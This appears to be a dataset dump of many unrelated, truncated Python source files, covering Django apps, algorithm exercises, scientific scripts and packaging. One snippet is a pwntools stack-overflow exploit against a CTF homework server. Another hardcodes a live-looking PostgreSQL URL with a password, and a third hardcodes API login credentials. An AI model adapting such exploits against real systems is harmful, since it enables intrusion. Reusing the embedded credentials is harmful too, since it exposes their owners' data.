text stringlengths 8 6.05M |
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__author__ = 'scorpius'
|
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, with_statement
from cuisine import file_attribs as attributes
from cuisine import file_attribs_get as attributes_get
from cuisine import file_ensure as ensure
from cuisine import file_is_file as exists
from cuisine import file_is_link as is_lin... |
# Author: George K. Holt
# License: MIT
# Version: 0.1
"""
Part of EPOCH Generate Particles Files.
This file should contain a 2-dimensional particle number density distribution as
a Python function called number_density_2d.
"""
import numpy as np
def gaussian(x, x0, w):
'''A simple Gaussian function centred on x... |
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
# Byte sequence alias
A8 = 8 * b'A'
def main():
payload = 3 * A8
payload += p64(0x4011a1)
#proc = process('./CafeOverflow')
proc = remote('hw00.zoolab.org', 65534)
proc.recvuntil(':')
proc.send(p... |
"""Internal library."""
import concurrent.futures
import datetime
import email
import fileinput
import getpass
import imaplib
import zipfile
import gzip
import sys
import tldextract
from defusedxml.ElementTree import fromstring
from dns import resolver, reversename
import magic
import six
from django.db import trans... |
# 문제 설명
# n개의 음이 아닌 정수가 있습니다. 이 수를 적절히 더하거나 빼서 타겟 넘버를 만들려고 합니다. 예를 들어 [1, 1, 1, 1, 1]로 숫자 3을 만들려면 다음 다섯 방법을 쓸 수 있습니다.
# -1+1+1+1+1 = 3
# +1-1+1+1+1 = 3
# +1+1-1+1+1 = 3
# +1+1+1-1+1 = 3
# +1+1+1+1-1 = 3
# 사용할 수 있는 숫자가 담긴 배열 numbers, 타겟 넘버 target이 매개변수로 주어질 때 숫자를 적절히 더하고 빼서 타겟 넘버를 만드는 방법의 수를 return 하도록 solution 함수를 작성해... |
"""
698. Partition to K Equal Sum Subsets
Given an integer array nums and an integer k, return true if it is possible to divide this array into k non-empty subsets whose sums are all equal.
Example 1:
Input: nums = [4,3,2,3,5,2,1], k = 4
Output: true
Explanation: It's possible to divide it into 4 subsets (5), (1, 4)... |
from _typeshed import Incomplete
def write_dot(G, path) -> None: ...
def read_dot(path): ...
def from_pydot(P): ...
def to_pydot(N): ...
def graphviz_layout(G, prog: str = "neato", root: Incomplete | None = None): ...
def pydot_layout(G, prog: str = "neato", root: Incomplete | None = None): ...
|
#
# @lc app=leetcode.cn id=797 lang=python3
#
# [797] 所有可能的路径
#
# @lc code=start
class Solution:
def allPathsSourceTarget(self, graph: List[List[int]]) -> List[List[int]]:
"""
多叉树遍历框架
"""
# 30/30 cases passed (52 ms)
# Your runtime beats 20.08 % of python3 submissions
... |
from database.connection.mysql_connection import get_session
class GenericDao():
def insert_record(self,record):
session = get_session()
session.add(record)
session.commit()
session.flush()
print('inserted record :: {}'.format(record))
def get_all_records(self, Type):
... |
from rest_framework import generics
from .models import Signal, SignalResult
from . import permissions, serializers
class Signals(generics.ListAPIView):
queryset = Signal.objects.all()
serializer_class = serializers.SignalSerializer
permission_classes = []
class SignalResults(generics.ListAPIView):
... |
#!/usr/bin/env python
from __future__ import print_function
import numpy as np
import math
#Module containing functions used for Kmeans clustering
def closest_centroid(x,centroids):
"""Function for finding the closest closest centroid
Input :
x := numpy array of data
centroids := list of centroids
Output:
out... |
from org.csstudio.opibuilder.scriptUtil import PVUtil
from org.csstudio.opibuilder.scriptUtil import ConsoleUtil
from java.lang import Thread, Runnable
sp1_high_set_2 = display.getWidget("Text_Update_gauge2_sp1_high_set")
sp1_low_set_2 = display.getWidget("Text_Update_gauge2_sp1_low_set")
sp2_high_set_2 = display.get... |
import csv, pdb, copy
from random import randrange, randint
import time
import random
from datetime import timedelta, datetime
from dateutil.relativedelta import relativedelta
def random_date(start, end):
delta = end - start
int_delta = (delta.days * 24 * 60 * 60) + delta.seconds
random_second = randrange... |
# coding: utf-8
import socket
import lglass.rpsl
import lglass.database.base
@lglass.database.base.register
class WhoisClientDatabase(lglass.database.base.Database):
""" Simple blocking whois client database """
def __init__(self, hostspec):
self.hostspec = hostspec
def get(self, type, primary_key):
try:
... |
#from mail.models import*
from workstatus.mail.models import Message, User
def addMessage(user, email1, content, time1):
"""adds message to db"""
tempMessage = Message(user = user, emailaddress = email1, content = content, time1 = time1)
tempMessage.save()
def addUser(name, address, first):
user = Use... |
from django.db import models
from django.contrib.auth.forms import User
class ProductList(models.Model):
"""
Stores the list of products added by the couples
"""
name = models.CharField(max_length=200)
brand = models.CharField(max_length=200, blank=True)
price = models.FloatField()
in_sto... |
if __name__ == '__main__':
students = list()
# for _ in range(int(input())):
# name = input()
# score = float(input())
# students.append([name, score])
students.append(['Prashant', 32])
students.append(['Pallavi', 36])
students.append(['Dheeraj', 39])
students.... |
# imports
import pandas as pd
import json
from sklearn.cluster import k_means
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeRegressor
from sklearn.ensemble import RandomForestRegressor
import matplotlib.pyplot as plt
import numpy as np
import re
import matplotlib.pyplot as pl... |
from conans import ConanFile, CMake
import os
class DefaultNameConan(ConanFile):
settings = "os", "compiler", "arch", "build_type"
generators = "cmake"
def build(self):
cmake = CMake(self)
cmake.configure(source_dir=self.conanfile_directory, build_dir="./")
cmake.build()
def i... |
# coding: utf-8
# In[ ]:
'''
THIS FUNCTION TAKES IN AN INTEGER INPUT IF ITS DIVISIBLE BY BOTH 3 AND 5 RETURNS FIZZBUZZ
IF ITS DIVISIBLE ONLY BY 3 RETURNS FIZZ
IF ITS DIVISIBLE ONLY BY 5 RETURNS BUZZ
IF ITS NOT DIVISIBLE BY EITHIER IT RETURNS 'NOT DIVISIBLE BY EITHIER 3 AND 5'
'''
def FizzBuzz():
try:
... |
from model import loss
import torch
import advertorch
import ctypes
import copy
from torch import equal
from torch import optim
from torch.autograd import Variable
import torch.nn as nn
from torchvision import datasets, transforms
import matplotlib.pyplot as plt
from data_loader.data_loader import BaseDataLoader, VGGF... |
#현재 폴더에 movie.txt라는 파일로 올해 본 영화 두 개를 저장
#그 후 작년에 본 영화 두 개를 a를 사용해서 덮어씌워주세요
#잘 저장되었는가 r로 읽어줍시다.
f = open("movie.txt", "w")
for i in range(2):
movie = input("올해영화 : ")
f.write(movie + "\n")
f.close()
f = open("movie.txt", "a")
for i in range(2):
movie = input("작년영화 : ")
f.write(movie + "\n"... |
# Generated by Django 3.0.4 on 2020-03-13 15:45
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0007_auto_20200313_1533'),
]
operations = [
migrations.RemoveField(
model_name='wplyw',
name='inflow',
... |
#!/usr/bin/env python
import sys
import os
import operator
import gffutils
import collections
import re
from Bio import SeqIO
from Bio.Seq import Seq
from Bio.SeqRecord import SeqRecord
STOPCODONPAT = re.compile('.*[*#+].*')
fails = collections.defaultdict(lambda: collections.defaultdict(int))
def get_protein(fdb, ... |
#!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name='acme',
version='0.0.1',
description='Exaxmple project showing how to include a Python package dependency while rendering notebooks with notebook-rendering',
author='Triage Technologies Inc.',
author_email='ai@triage.co... |
'''
Created on Mar 3, 2015
@author: fan
'''
import unittest
from lang._math import pi2List
class SetTests(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def test_set(self):
print("type({}) = %s" % type({}), "type({1, 2, 3}) = %s" % type({1, 2, 3}))
... |
import re
from operator import itemgetter, attrgetter, methodcaller
class Entry:
def __init__(self, id,weight, length):
self.id=id
self.weight=weight
self.length=length
self.diff=weight-length
self.ratio=float(weight)/length
f=open('jobs.txt','r')
number=int(f.readline())
#... |
import random
import time
from TagScriptEngine import Verb, Interpreter, block, adapter
blocks = [
block.MathBlock(),
block.RandomBlock(),
block.RangeBlock(),
block.StrfBlock(),
block.AssignmentBlock(),
block.FiftyFiftyBlock(),
block.LooseVariableGetterBlock()
]
x = Interpreter(blocks)
# d... |
#BMI Calculator
#HW6q1
#I pledge my honor that I have abided by the Stevens Honor System
def main():
weight = float(input("Enter your weight in pounds: "))
height = float(input("Enter your height in inches: "))
BMI = round((weight*720)/height**2, 3)
if BMI <= 0:
print("Error in calculating BMI.... |
# Python Standard Libraries
# N/A
# Third-Party Libraries
from rest_framework import serializers
# Custom Libraries
from api.models import User
from . import digger_model
class SignUpSerializer(serializers.ModelSerializer):
# Ensure passwords are at least 8 characters long, no longer than 128
# characters, an... |
# color = input('Enter "green", "yellow", "red": ').lower()
# print(f'The user entered {color}')
# if color == 'green':
# print('Go!')
# elif color == 'yellow':
# print('Slow down!')
# elif color == 'red':
# print('Stop!')
# else:
# print('Bogus!')
hours = int(input('Enter hours worked:'))
rate = 10... |
import nltk
f=open('cricket.txt','r',encoding='utf8')
raw=f.read()
#nltk.download('punkt')
tokens = nltk.word_tokenize(raw)
text = nltk.Text(tokens)
print(text)
for i in range(len(tokens)):
tokens[i]= tokens[i].lower()
#removing digits
tokens= [x for x in tokens if not x.isdigit()]
#converting list i... |
import scipy
from numpy import *
import scipy.integrate
# defining the fuction
def F(x):
return x*(scipy.exp(-x))
# Finding the integral
I, errt = scipy.integrate.quad(F,0,inf)
print 'The integrated result = ',int(round(I,0))
|
if True:
print("eita danada, olha que indentou e funcionou!")
"""
if True:
print("esse codigo nao vai funcionar por falta de indentacao, por isso esta comentado!")
""" |
import numpy as np
import pandas as pd
class TrainingDataLabelPreprocessor:
def __init__(self, training_data):
# eg. training_data = pd.read_csv('train/train.csv')
self.training_data = training_data
# Create a dictionary assigning labels to each
# of the 28 cell functions/locatio... |
import datetime
import csv
import itertools
import numpy as np
import matplotlib.pyplot as plt
import scipy as sp
import scipy.signal as signal
now = datetime.datetime.now()
def graficar_temp():
tiempo=[]
temperatura=[]
with open('data.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimite... |
#Dict-based spectral encoding of given traits based on dictionary word-matching!
#Dominic Burkart
#use: take in all given .txt wordlists in the directory this file is saved in for a given
# trait (eg emotionality) and encode a given set of tweets with the wordcount from the
# given dictionary and the ratio of word... |
#!/usr/bin/env python
#
# Copyright (c) 2019 Opticks Team. All Rights Reserved.
#
# This file is part of Opticks
# (see https://bitbucket.org/simoncblyth/opticks).
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a... |
#coding:utf-8
#!/usr/bin/env python
import sys
serverid = 1 |
import xadmin
from .models import ProductMsg
from .models import Supplier
from .models import TicketsMsg
from .models import HotelMsg
from .models import StrategyMsg
from .models import Product_City
from .models import Product_Senic
# Register your models here.
# xadmin中这里是继承object，不再是继承admin
class ProductMsgAdmin(ob... |
#!/usr/bin/python
import numpy as np
import os
numpul=20 #Number of PPTA pulsars.
for pulsi in xrange(numpul):
gfilename='G_SNR_z_vs_mc_PPTA_model_i/pulsar_%s.gstar' %(pulsi+1)
#Content of the gstar file:
filetext=['#!/bin/csh \n\
#PBS -q gstar \n\
#PBS -l nodes=1:ppn=6 \n\
#PBS -l pmem=500mb \n\
#PBS -l walltime... |
"""Unit test for treadmill.runtime.linux.runtime.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import io
import os
import shutil
import tempfile
import unittest
# Disable W0611: Unused import
import tests.trea... |
import sys, os
import argparse
import time
import datetime
from classes import Havelock
from classes import Bitcoin
from classes import Rates
from config import Config
from utils import get_console_size
import numpy as np
import matplotlib.pyplot as plot
import matplotlib.dates as md
cmdline_parse = cp = \
argp... |
class Config:
# DB_URL = "sqlite:///db_test.db"
DB_URL = "postgresql://vwlxwdavxfjvuf:1c32bebadc0a765b3467ea904fc4a8e9f7ee3453c26ed215503d9a5e4f20993d@ec2-52-2-82-109.compute-1.amazonaws.com/d7pjfkh1cgosoi" |
import streamreader
import state
from orderedcollections import *
class Scanner:
def __init__(
self,
instream=None,
startStateId=None,
states={},
classes={},
keywords={},
identifierTokenId=-1,
eatComments=False,
commentTokenId=-1,
):
... |
# Generated by Django 3.0.5 on 2020-06-03 18:36
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('pessoas', '0001_initial'... |
import httplib
import mimetypes
from bottle import abort, get, local, request, response
from codalab.lib import spec_util, zip_util
from codalab.objects.permission import check_bundles_have_read_permission
@get('/bundle/<uuid:re:%s>/contents/blob/' % spec_util.UUID_STR)
@get('/bundle/<uuid:re:%s>/contents/blob/<pat... |
from base import add, createSkeleton
# Additional functions
def addToArmy(data, army, id):
if (len(data) == 3):
(name, health, damage) = tuple(data)
add(createSkeleton(name, id, int(health), int(damage)), army)
elif (len(data) == 1):
add(createSkeleton(data[0], id), army)
print('Unit added')
de... |
import requests
import logging
SESSION = requests.Session()
APP_URL = 'https://qa-interview-api.migo.money'
USER = 'egg'
PASSWORD = 'f00BarbAz'
LOG = logging.getLogger()
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 18 16:47:25 2017
@author: dgratz
"""
import numpy as np
import itertools
import math
import matplotlib.pyplot as plt
from scipy import signal
import matplotlib
from collections import deque
def calcSync(vVal,vTime):
syncT = np.zeros(vTime.shape... |
import unittest
from katas.kyu_6.find_the_divisors import divisors
class FindTheDivisorsTestCase(unittest.TestCase):
def test_equals(self):
self.assertEqual(divisors(12), [2, 3, 4, 6])
def test_equals_2(self):
self.assertEqual(divisors(25), [5])
def test_equals_3(self):
self.ass... |
from os.path import join, expanduser, dirname
"""
Global config options
"""
DATA_DIR = "/data3/private/liujiahua/new/data"
TRANS_DATA_DIR = "/data1/private/liujiahua"
NEW_EN = join(DATA_DIR, "en")
NEW_EN_TRANS_DE = join(TRANS_DATA_DIR, "_wiki_data_en/translate_de")
NEW_EN_TRANS_ZH = join(TRANS_DATA_DIR, "_wiki_data... |
import wsdm.ts.helpers.persons.persons as p_lib
from wsdm.ts.helpers.tfidf.professions_tfidf_dictionary import PROFESSIONS_DICT
from wsdm.ts.helpers.tfidf.nationalities_tfidf_dictionary import NATIONALITIES_DICT
import os
import definitions
from collections import Counter
import operator
import re
def split_into_sent... |
#!/usr/bin/env python3
#test_completion.py
#*
#* --------------------------------------------------------------------------
#* Licensed under MIT (https://git.biohpc.swmed.edu/gudmap_rbk/rna-seq/-/blob/14a1c222e53f59391d96a2a2e1fd4995474c0d15/LICENSE)
#* -----------------------------------------------------------------... |
# -*- coding: utf-8 -*-
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect
from ragendja.template import render_to_response
def staff_only(view):
"""
Decorator that requires user.is_staff. Otherwise renders no_access.html.
"""
@login_required
def ... |
#!/usr/bin/env python
from __future__ import print_function
import fastjet as fj
import fjcontrib
import fjext
import ROOT
import tqdm
import yaml
import copy
import argparse
import os
from pyjetty.mputils import *
from heppy.pythiautils import configuration as pyconf
import pythia8
import pythiafjext
import pyth... |
'''
You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed. All houses at this place are arranged in a circle. That means the first house is the neighbor of the last one. Meanwhile, adjacent houses have security system connected and it will automatically co... |
'''
l利用time函数，生成两个函数
顺序调用
计算总的运行时间
'''
import time
import _thread as thread
def loop1():
# ctime 得到当前时间
print('S loop 1 at: ',time.ctime())
# 睡眠多长时间，单位秒
time.sleep(4)
print('E loop 1 at :',time.ctime())
def loop2():
# ctime 得到当前时间
print('S loop 2 at: ', time.ctime())
# 睡眠多长时间，单位秒
... |
#!/usr/bin/env python3
# coding: utf-8
import os.path
import sys
sys.path.insert(0, os.path.abspath(os.path.join(__file__, "..", "..")))
import lglass.tools.roagen
if __name__ == "__main__":
lglass.tools.roagen.main()
|
# -*- coding: utf-8 -*-
"""
Created on Sat Aug 1 18:06:19 2020
@author: Attitude
"""
# Audio To Text (Speech Recognition)
# Import Library
import os
import speech_recognition as sr
sr.__version__
# Speech Recognition starts here
r = sr.Recognizer()
current_dir = os.path.dirname(os.path.realpath(_... |
# -*- coding: utf-8 -*-
#############################################################################
# Copyright Vlad Popovici <popovici@bioxlab.org>
#
# Licensed under the Apache License, Version 2.0 ( the "License" );
# you may not use this file except in compliance with the License.
# You may obtain a copy of ... |
from NIDAQ_1 import *
from NIDAQ_2 import *
from NIDAQ_3 import *
from NIDAQ_4 import *
from Coefficient import *
def Chan_1(points=CHUNK):
SetupTask1()
StartTask1()
data = ReadSamples1(points)
StopAndClearTask1()
return data
def Chan_2(points=CHUNK):
SetupTask2()
StartTask2()... |
import distutils.command.clean
import distutils.spawn
import glob
import os
import shutil
import subprocess
import sys
import torch
from pkg_resources import DistributionNotFound, get_distribution, parse_version
from setuptools import find_packages, setup
from torch.utils.cpp_extension import BuildExtension, CppExtens... |
import dash_bootstrap_components as dbc
from dash import html
toast = dbc.Toast(
[html.P("This is the content of the toast", className="mb-0")],
header="This is the header",
)
|
import torch.nn as nn
import torchvision.models as models
class EmbeddingNet(nn.Module):
def __init__(self, backbone=None):
super().__init__()
if backbone is None:
backbone = models.resnet50(num_classes=128)
self.backbone = backbone
def forward(self, x):
x = self.... |
from datetime import timedelta
import time
import uuid
from Crypto.PublicKey.RSA import importKey
from django.utils import timezone
from jwkest.jwk import RSAKey as jwk_RSAKey
from jwkest.jwk import SYMKey
from jwkest.jws import JWS
from oidc_provider.lib.utils.common import get_issuer
from oidc_provider.models impor... |
import io
from setuptools import find_packages
from setuptools import setup
with io.open("README.rst", "rt", encoding="utf8") as f:
readme = f.read()
setup(
name="Pallets-Sphinx-Themes",
version="1.1.3",
url="https://github.com/pallets/pallets-sphinx-themes/",
license="BSD-3-Clause",
author="... |
#!/usr/bin/env python
# coding: utf-8
# In[11]:
import docplex.mp.model as cpx
import networkx as nx
import pandas as pd
import matplotlib.pyplot as plt
from math import sqrt
import networkx as nx
# In[12]:
t_n = 5
cij = [[0,55,105,80,60],[60,0,75,60,75],[110,90,0,195,135],[80,60,175,0,85],[60,75,120,80,0]]
cij
# In[1... |
def string_clean(s):
return ''.join(a for a in s if not a.isdigit())
|
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import annotations
from pants.jvm.resolve.jvm_tool import JvmToolBase
class ScroogeSubsystem(JvmToolBase):
options_scope = "scrooge"
help = "The Scrooge Thrift ID... |
import numpy as np
from collections import Counter
from typing import Iterable, Union
def find_most_common(row: Iterable[str], mode: Union["elem", "count"]):
"""
Given iterable of words, return either most common element or its count
"""
if mode == "elem":
return Counter(row).most_common(1)[0... |
import csv, re
import numpy as np
from keras import Sequential
from keras.layers import Dense
# Age patterns
p1 = re.compile(r"0\.")
# Ticket patterns
p3 = re.compile(r"(\d*?)$")
def getAge(arg):
fract = p1.match(arg)
if arg == "":
return 32
elif arg[:2] == "0.":
return int(arg[fract.span(... |
def isDigit(strng):
""" is_digit == PEP8 (forced mixedCase by Codewars) """
try:
float(strng)
return True
except ValueError:
return False
|
import os
from smqtk.utils.plugin import get_plugins
from ._interface_hash_index import HashIndex
__all__ = [
'HashIndex', 'get_hash_index_impls',
]
def get_hash_index_impls(reload_modules=False):
"""
Discover and return discovered ``HashIndex`` classes. Keys in the returned
map are the names of th... |
import numpy as np
import tensorflow as tf
import os
import cv2
from tqdm.notebook import tqdm
tf2 = tf.compat.v2
# constants
KMNIST_IMG_SIZE = 28
KMNIST_TRAIN_IMAGE_COUNT = 60000
KMNIST_TEST_IMAGE_COUNT = 10000
PARALLEL_INPUT_CALLS = 16
def pre_process_train(ds):
X = np.empty((KMNIST_TRAIN_IMAGE_COUNT, KMNIST_IM... |
import cv2
import numpy as np
cap = cv2.VideoCapture(0)
while True:
_, frame = cap.read()
hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)
# hsv is Hue Sat Value
lower_range = np.array([0, 175,175]) # BGR
uppper_range = np.array([255, 255, 255])
mask = cv2.inRange(hsv, lower_range, uppper... |
import sys
import os
f = open("C://Users/OZ/Documents/python/atcoder/import.txt","r")
sys.stdin = f
# -*- coding: utf-8 -*-
import statistics
n = int(input())
a = list(map(int,input().split()))
b = []
for i in range(n):
b.append(a[i]-i)
bf = int(statistics.median(b))
ans = 0
for i in ra... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Sep 2 12:54:26 2019
@author: juan
"""
import torch
import torch.nn as nn
import torch.optim as optim
from torch.optim import lr_scheduler
import numpy as np
import torchvision
from torchvision import datasets, models, transforms
import matplotlib.pypl... |
import statsmodels.api as sm
import numpy as np
# Parameters.
ar = np.array([.75, -.25])
ma = np.array([.65, .35])
ar = np.array([])
ma = np.array([])
# Simulate an ARMA process.
np.random.seed(42)
y = sm.tsa.arma_generate_sample(
ar=np.r_[1, ar],
ma=np.r_[1, ma],
nsample=10000,
sigma=1,
)
fig, ax... |
"""
样式美化：
"""
import matplotlib.pyplot as plt
import numpy as np
# 样式美化：
plt.style.use('ggplot')
# plt.style.use('fivethirtyeight')
# 第一个图像：
fig, ax = plt.subplots(ncols=2, nrows=2) # 生成4个子图
ax1, ax2, ax3, ax4 = ax.ravel() # 将4个子图分给这四个对象
x, y = np.random.normal(size=(2, 100))
ax1.plot(x, y, 'o')
# 第二个图像：
x = np.aran... |
# -*- coding: utf-8 -*-
from django.utils.translation import ugettext as _
from rest_framework import serializers, viewsets, exceptions
from app.courses.models import Course
from app.choosing.models import ResolvedCombination
class TeacherViewObject(object):
def __init__(self, id, name):
self.id = id
... |
import random
PATTERNS = [
(10000000000000000, 'xxxxx'),
(-1000000000000000, 'ooooo'),
(100000000000, ' xxxx '),
(-10000000000, ' oooo '),
(-10000000000, 'oxxxx '),
(-10000000000, ' xxxxo'),
(-100000000, 'xoooo '),
(-100000000, ' oooox'),
(1000000000, 'xx xx'),
... |
import argparse
from pathlib import Path
def main(filepath):
with open(filepath, "r") as file1:
positions = {}
transactions = {}
day = ""
section = ""
while True:
line = file1.readline()
if not line:
break
elif line.strip(... |
"""def calculator(num1,operation,num2):
if (operation == "+"):
print (num1 + num2)
elif (operation == "-"):
print (num1 - num2)
elif (operation == "*"):
print (num1 * num2)
elif (operation == "/"):
print (num1 / num2)
else:
print("not a valid operation")
calc... |
# Generated by Django 3.1 on 2020-10-16 06:58
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Announcement',
fields=[
('id', models.AutoFie... |
import pandas as pd
import numpy as np
df1 = pd.read_csv('../../data/Datasets/best_film_consolidated.csv')
df2 = pd.read_csv('../../data/Datasets/best_director_consolidated.csv')
df3 = pd.read_csv('../../data/Datasets/best_actor_consolidated.csv')
df4 = pd.read_csv('../../data/Datasets/best_actress_consolidated.csv')
... |
from model.registry import Registry
from model.connection.connection import Connection
from model.laboralinsertion.inscription import Inscription
from model.users.users import User, UserDAO
import model.laboralinsertion.user
from model.files.files import File
import PyPDF2
import base64
import inject
import logging
... |
import numpy as np
import expectation
import maximization
import aux_functions
import matplotlib.pyplot as plt
def EM_algorithm(X,pi,A,B,N,max_it,ini):
iter = 0
converged = False
Q = []
K = np.shape(pi)[0]
T = np.shape(X[0][0])[1]
epsilon = 1e-2
alpha = np.zeros((N,K,T)) # one alpha fo... |
'''
Created on Nov 30, 2015
@author: Benjamin Jakubowski (buj201)
'''
import pandas as pd
def get_raw_data():
url = 'https://data.cityofnewyork.us/api/views/xx67-kt59/rows.csv?accessType=DOWNLOAD'
return pd.read_csv(url, usecols=['CAMIS','BORO', 'GRADE', 'GRADE DATE'],parse_dates=['GRADE DATE'])
def clean_G... |
import numpy as np
import SimpleITK as sitk
import itk
import SimpleITK as sitk
import pandas as pd
import quandl, math
import numpy as np
from sklearn import preprocessing, svm
from sklearn.model_selection._validation import cross_validate
from sklearn.linear_model import LinearRegression
from sklearn.metrics impor... |
"""
@author: Eduardo Alvear
"""
def punto1(carros):
c_amarillo = 0
c_rosa = 0
c_roja = 0
c_verde = 0
c_azul = 0
for auto in carros:
if auto == 1 or auto == 2:
c_amarillo += 1
elif auto == 3 or auto == 4:
c_rosa += 1
elif auto == 5 or auto == 6:
... |
# use_module.py
from python单例模式.use_module import singleton as s1
from python单例模式.use_module import singleton as s2
print(s1, id(s1))
print(s2, id(s2))
"""
多次导入该实例，其实调用的是一个地址
""" |
"""
Author: Catherine DeJager (cmd16 on GitHub)
Written for https://github.com/molliem/gender-bias
Detects gender bias in letters of recommendation by searching usage of words that denote effort vs words that denote accomplishment.
"""
import argparse
import nltk
# Create an argument parser and tell it about argument... |
# TODO: Rewrite variance to not need this extension
|
import esphome.codegen as cg
import esphome.config_validation as cv
from esphome.const import CONF_ID
AUTO_LOAD = ['sensor','text_sensor', 'binary_sensor']
MULTI_CONF = True
CONF_HUB_ID = 'empty_sensor_hub_id'
empty_sensor_hub_ns = cg.esphome_ns.namespace('empty_sensor_hub')
EmptySensorHub = empty_sensor_hub_ns.cla... |
import urllib2, httplib
from BeautifulSoup import BeautifulSoup, SoupStrainer
import Queue
import re
import socket
import threading
import time
import functools
import cookielib
from django.utils.encoding import force_unicode
from django.utils import importlib
from django.conf import settings
def get_backend(**kwarg... |
#!/usr/bin/env python
#----------------------------------------------------------------------------
# ABOUT THE SCRIPT:
# This script can be used to obtain a list of Pfam IDs and corresponding
# Ensembl protein IDs from the Human Genes (GRCh38.p13) dataset from BioMart.
#------------------------------------------------... |
import pyvan
OPTIONS = {
"main_file_name": "final.py",
"show_console": True,
"use_existing_requirements": True,
"extra_pip_install_args": [],
"use_pipreqs": False,
"install_only_these_modules": [],
"exclude_modules": [],
"include_modules": [],
"path_to_get_pip_and_python_embedded_zip": "",
"build_d... |
#!/usr/local/bin/python3.8
# String are immutable i.e. they cannot be changed
print(id('key')) # e.g. 139912821647280
print(id('keys')) # e.g. 139912821775856
print ( id('key') == id('keys') ) # False |
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